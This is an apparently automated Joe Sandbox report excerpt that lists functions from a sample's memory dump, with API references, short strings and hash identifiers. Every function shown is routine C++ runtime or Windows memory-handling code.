Instruction ID: fc58bddcc8f1fcbb19c0eaac6235713c91910dd890462d983ed32940bee7712d
Opcode Fuzzy Hash: 62ce093ec956f61fc727538c566e5ec4c176cccbf4535796c9ce82984451213a
Instruction Fuzzy Hash: 0801DB759006198BCF02EF64C8056BEBB65AF84310F14012AE6107F3D1DF789F0187C8

Function 00403956 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040395D
std::_Lockit::_Lockit.LIBCPMT ref: 00403967

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

messages.LIBCPMT ref: 004039A1
std::_Facet_Register.LIBCPMT ref: 004039B8
std::_Lockit::~_Lockit.LIBCPMT ref: 004039D8

Strings

hJD, xrefs: 00403972

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID: hJD
API String ID: 2750803064-3265421708
Opcode ID: 2988cc019a512e40448b02679d597d3c03253fe718702244b8c86adea2bf6330
Instruction ID: 3696d5e8e8902df67a419d909fb2b7176d94ad99244c2599f53f7ca5604e7ecd
Opcode Fuzzy Hash: 2988cc019a512e40448b02679d597d3c03253fe718702244b8c86adea2bf6330
Instruction Fuzzy Hash: 9C01C4759006199BCB02EF64C8466BE7B69AF85320F25452EE5107B3D2DF789E01C789

Function 00403B15 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00403B1C
std::_Lockit::_Lockit.LIBCPMT ref: 00403B26

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

moneypunct.LIBCPMT ref: 00403B60
std::_Facet_Register.LIBCPMT ref: 00403B77
std::_Lockit::~_Lockit.LIBCPMT ref: 00403B97

Strings

xJD, xrefs: 00403B31

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID: xJD
API String ID: 419941038-3733242620
Opcode ID: 4a31b67cf8beea4c3594614c0f6407959d36c7b19ebce86f22daa9c24cd59456
Instruction ID: fab2fc4a840a6ec8f819bb17a945e2220d73bb95030a9c4200428b21420eb323
Opcode Fuzzy Hash: 4a31b67cf8beea4c3594614c0f6407959d36c7b19ebce86f22daa9c24cd59456
Instruction Fuzzy Hash: 6701A575900619DBCB02EFA5C8456BEBB75AF84314F24052EE5147B3D2CF389A018B89

Function 00403BAA Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00403BB1
std::_Lockit::_Lockit.LIBCPMT ref: 00403BBB

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

moneypunct.LIBCPMT ref: 00403BF5
std::_Facet_Register.LIBCPMT ref: 00403C0C
std::_Lockit::~_Lockit.LIBCPMT ref: 00403C2C

Strings

tJD, xrefs: 00403BC6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID: tJD
API String ID: 419941038-3617471384
Opcode ID: 0b8d17614312491b71f7034be47276418b15db1cb69588af7e964e3b54b54e8b
Instruction ID: 9a9e93d997c42724fefc49b653d837a24c478082552533e0906d0c8351a78df8
Opcode Fuzzy Hash: 0b8d17614312491b71f7034be47276418b15db1cb69588af7e964e3b54b54e8b
Instruction Fuzzy Hash: 3E01C875904629DBDB12EFA4C9066BE7B65AF84310F14052AE510BB3D2CF789E018788

Function 003E6C20 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,755CD0F6,?,00000000,?,?,?,?,00429DA0,000000FF,?,003E6432,00000000,?), ref: 003E6CC4
LocalAlloc.KERNEL32(00000040,3FFFFFFF,755CD0F6,?,00000000,?,?,?,?,00429DA0,000000FF,?,003E6432,00000000,?), ref: 003E6CE7
LocalFree.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,00429DA0,000000FF,?,003E6432,00000000), ref: 003E6D87
LocalFree.KERNEL32(?,755CD0F6,00000000,004293B0,000000FF,?,00000000,00000000,00429DA0,000000FF,755CD0F6), ref: 003E6E0D

Strings

2d>, xrefs: 003E6D0F
2d>, xrefs: 003E6C3F, 003E6DA3

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Local$AllocFree
String ID: 2d>$2d>
API String ID: 2012307162-3886783025
Opcode ID: 4ad4374caeaf6941bcb044232cccb26eee078413720aa426c01ebbeb0085e242
Instruction ID: 4d6eb2d8d0fd45c795c018ab320515bc09e02283d6afe73979ffba238ecba989
Opcode Fuzzy Hash: 4ad4374caeaf6941bcb044232cccb26eee078413720aa426c01ebbeb0085e242
Instruction Fuzzy Hash: BE51AEB5A002559FCB19CF69C986AAEBBB4FB58350F54432DE815E73C0D730AD10CB94

Function 003EB500 Relevance: 9.2, APIs: 6, Instructions: 152COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003EB52D
std::_Lockit::_Lockit.LIBCPMT ref: 003EB550
std::_Lockit::~_Lockit.LIBCPMT ref: 003EB578
std::_Facet_Register.LIBCPMT ref: 003EB5ED
std::_Lockit::~_Lockit.LIBCPMT ref: 003EB617
LocalFree.KERNEL32 ref: 003EB6C0

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_FreeLocalRegister
String ID:
API String ID: 1378673503-0
Opcode ID: efe290b6b8bb26be9978b4d0964381c934585283c6a5b800c40a8d15c0af324d
Instruction ID: e5ee15ee1ffd8cf5cd3c2a16a4fea0613aa7696cc5434a852346e272f4c1d914
Opcode Fuzzy Hash: efe290b6b8bb26be9978b4d0964381c934585283c6a5b800c40a8d15c0af324d
Instruction Fuzzy Hash: A751BE759006A9DFCB22DF59D840BAAFBB4FF06320F14476AE811A73D1D774AA04CB94

Function 00415981 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00415A6B
__freea.LIBCMT ref: 00415B01
__freea.LIBCMT ref: 00415B1D

Strings

am/pm, xrefs: 00415B81
a/p, xrefs: 00415BE5

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: dbd8079354d5478d843c18b2b0158f87bf52aff7121b6ae1f7fd6fd630aa8ca8
Instruction ID: 61c585d8eb13a78e82967446422288e270fea856709cd589c2496a0930c318e2
Opcode Fuzzy Hash: dbd8079354d5478d843c18b2b0158f87bf52aff7121b6ae1f7fd6fd630aa8ca8
Instruction Fuzzy Hash: 2FC1C171904A06DACB249F68D489AFB7770FF86304F24814BE501AB754D33D9DC1CB9A

Function 0040AEF5 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040AEEC,00409710,004085A3), ref: 0040AF03
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040AF11
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040AF2A
SetLastError.KERNEL32(00000000,0040AEEC,00409710,004085A3), ref: 0040AF7C

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d27d2d4a4a8db9bf093b34df8ef4a0272090e01967c5dfaab12f08fa9691f651
Instruction ID: ea3fb0c165e55a81ce424da4900f0c37453ab16568a5a12c944ccd3a546bb3c1
Opcode Fuzzy Hash: d27d2d4a4a8db9bf093b34df8ef4a0272090e01967c5dfaab12f08fa9691f651
Instruction Fuzzy Hash: AE01287260D3229EE6242BB67CC6A1B6645DB12B79720033FF110761F2EF7D4D21614D

Function 003F45A7 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 186COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F45AE

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

Part of subcall function 003E84C0: LocalAlloc.KERNEL32(00000040,00000000,0040839D,00000000,755CD0F6,?,00000000,?,00000000,?,0042CB8D,000000FF,?,003E17D5,00000000,0042D3BA), ref: 003E84C6

Part of subcall function 003EC0B0: __Getctype.LIBCPMT ref: 003EC112

Strings

xHD, xrefs: 003F4713
pHD, xrefs: 003F465F
lHD, xrefs: 003F461A
tHD, xrefs: 003F46A2

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$AllocGetctypeH_prolog3LocalLockit::_Lockit::~_
String ID: lHD$pHD$tHD$xHD
API String ID: 3791111190-587920680
Opcode ID: 232605f0878a81df308de179195815261465bac67ab5163ae764cdf9618f72ce
Instruction ID: 55c34f9a92dfcdd21f9d2552281f0f5ff1b38f276f00e17b39b64589a73d277e
Opcode Fuzzy Hash: 232605f0878a81df308de179195815261465bac67ab5163ae764cdf9618f72ce
Instruction Fuzzy Hash: CC51B7B190021EABEB137F668C42A7F7A6CEF42354F15452AFA15AE181EF748D0086E5

Function 003FD38D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003FD394
_Getvals.LIBCPMT ref: 003FD3E6
_Mpunct.LIBCPMT ref: 003FD421
_Mpunct.LIBCPMT ref: 003FD43B

Strings

$+xv, xrefs: 003FD446

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: 0183176cb70b9adb3c7c24fa0ee114fcbb9788bc898a5472e26d3d91c9f9c142
Instruction ID: d60a9f95c9368112be44310d0ea99e305187f41728581cfa5405d429164bb2da
Opcode Fuzzy Hash: 0183176cb70b9adb3c7c24fa0ee114fcbb9788bc898a5472e26d3d91c9f9c142
Instruction Fuzzy Hash: 8021B2B1904B966FD726DF75849473BBFF8AB0D300B04491EE599CBA42E734E601CB90

Function 003E83E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(755CD0F6,755CD0F6,?,?,00000000,0042A221,000000FF), ref: 003E847B

Part of subcall function 00407875: EnterCriticalSection.KERNEL32(00444AF8,00000000,?,?,003E25B6,0044571C,755CD0F6,?,00000000,004293ED,000000FF,?,003E1A26), ref: 00407880
Part of subcall function 00407875: LeaveCriticalSection.KERNEL32(00444AF8,?,?,003E25B6,0044571C,755CD0F6,?,00000000,004293ED,000000FF,?,003E1A26,?,?,?,755CD0F6), ref: 004078BD

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 003E8440
GetProcAddress.KERNEL32(00000000), ref: 003E8447

Part of subcall function 0040782B: EnterCriticalSection.KERNEL32(00444AF8,?,?,003E2627,0044571C,0042CCC0), ref: 00407835
Part of subcall function 0040782B: LeaveCriticalSection.KERNEL32(00444AF8,?,?,003E2627,0044571C,0042CCC0), ref: 00407868
Part of subcall function 0040782B: RtlWakeAllConditionVariable.NTDLL ref: 004078DF

Strings

kernel32, xrefs: 003E843B
IsWow64Process, xrefs: 003E8436

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: 930a0c3d0987b7bd1d773d4828dbb923da7f3ddf04d6a2714b43495823aa9aa2
Instruction ID: d8637fd8be78d55ada56985ef9a68356c3d0c379b5482ca84f0bc431d01c84af
Opcode Fuzzy Hash: 930a0c3d0987b7bd1d773d4828dbb923da7f3ddf04d6a2714b43495823aa9aa2
Instruction Fuzzy Hash: AD11D2B2D04B55EFCB20CFA5EC05B59B7A8F709724F10477AE815A33D0DB39A900CA98

Function 003F26F9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F2700
std::_Lockit::_Lockit.LIBCPMT ref: 003F270A

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F275B
std::_Lockit::~_Lockit.LIBCPMT ref: 003F277B

Strings

lHD, xrefs: 003F2715

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: lHD
API String ID: 2854358121-4154305490
Opcode ID: 4d19b201ac16dc9078ac224629bde84bbedd85010c378ac4fd4603d0503119fe
Instruction ID: d7bccca80e7ee6d2ee2f8331678ab6fa5dfd7fe70c603a629f431d40846c9a78
Opcode Fuzzy Hash: 4d19b201ac16dc9078ac224629bde84bbedd85010c378ac4fd4603d0503119fe
Instruction Fuzzy Hash: 9E01C47590061DDBCB02FBA5C8456BEB7A5AF94310F244519EA206B3D2CF349E059BC4

Function 003F278E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F2795
std::_Lockit::_Lockit.LIBCPMT ref: 003F279F

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F27F0
std::_Lockit::~_Lockit.LIBCPMT ref: 003F2810

Strings

pHD, xrefs: 003F27AA

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: pHD
API String ID: 2854358121-3802264006
Opcode ID: 51badf8817e0e8d893f3edc99cb7cb3b030f1df2f4cc732f19b9f325326def85
Instruction ID: 36a85e3135cd0907ebef9cd8e1baaf8f71753627d5bbbb30382a4aa5bf57291b
Opcode Fuzzy Hash: 51badf8817e0e8d893f3edc99cb7cb3b030f1df2f4cc732f19b9f325326def85
Instruction Fuzzy Hash: 0A01D23990062DDBCF06FBA4D8056BFB7A5AF95320F25051DE611AF2D2DF349E028B94

Function 004039EB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004039F2
std::_Lockit::_Lockit.LIBCPMT ref: 004039FC

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 00403A4D
std::_Lockit::~_Lockit.LIBCPMT ref: 00403A6D

Strings

lJD, xrefs: 00403A07

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: lJD
API String ID: 2854358121-3316369744
Opcode ID: a4175a6803f1e710eb6c27bbe58f2847dbf15ea4c37835ac1400cbc756a2be03
Instruction ID: 403b843a449813cda2db50056ccaa437625fe576d81646a008215a346943d16c
Opcode Fuzzy Hash: a4175a6803f1e710eb6c27bbe58f2847dbf15ea4c37835ac1400cbc756a2be03
Instruction Fuzzy Hash: ED01C475A006199FCF02EFA4C8456BEBB75AF94310F24412AE5107B3D2DF389F058B88

Function 00403A80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00403A87
std::_Lockit::_Lockit.LIBCPMT ref: 00403A91

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 00403AE2
std::_Lockit::~_Lockit.LIBCPMT ref: 00403B02

Strings

pJD, xrefs: 00403A9C

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: pJD
API String ID: 2854358121-3499594564
Opcode ID: 302ffa449e3e6734c7128c19779e53a63a7e38fc52fd5960487bb0354633947f
Instruction ID: b8d671914e744da837f9a84db1167dd5445a4c61d9bbd16796a73dabaebde34e
Opcode Fuzzy Hash: 302ffa449e3e6734c7128c19779e53a63a7e38fc52fd5960487bb0354633947f
Instruction Fuzzy Hash: 3201C8359006199FCF12EFA4D8466BE7B75AF84310F24052AE5117B3D2DF789E018B88

Function 00403C3F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00403C46
std::_Lockit::_Lockit.LIBCPMT ref: 00403C50

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 00403CA1
std::_Lockit::~_Lockit.LIBCPMT ref: 00403CC1

Strings

|JD, xrefs: 00403C5B

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: |JD
API String ID: 2854358121-3649923616
Opcode ID: f2a18ded649ba0eff170a70b3563694c956bcbad085f0a190747bcd927346821
Instruction ID: 0d4ebfafd99f01df37e713658a20bc63eb1acbe0cbaae429993ad3116168f4d9
Opcode Fuzzy Hash: f2a18ded649ba0eff170a70b3563694c956bcbad085f0a190747bcd927346821
Instruction Fuzzy Hash: 2B0108769005199BCB02EFA5C8056BEBB65AF84710F14442AE910BB3C1CF389E018BC8

Function 003F7E71 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7E78
std::_Lockit::_Lockit.LIBCPMT ref: 003F7E82

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F7ED3
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7EF3

Strings

ID, xrefs: 003F7E8D

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: ID
API String ID: 2854358121-3023824217
Opcode ID: 960007b23d11b8e07b99d5faf367cd037b1e076f456c3c7c6058f9917522e476
Instruction ID: d3bc7e779990e8152bc9c1804cd1e0f957ae14c67ecbb9761aa95c6089023a40
Opcode Fuzzy Hash: 960007b23d11b8e07b99d5faf367cd037b1e076f456c3c7c6058f9917522e476
Instruction Fuzzy Hash: 9A01D27590162D9BCF03EBA4D8467BEB7A1AF94310F24055AE610AF3D2DF349E028BD4

Function 003F7F9B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7FA2
std::_Lockit::_Lockit.LIBCPMT ref: 003F7FAC

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F7FFD
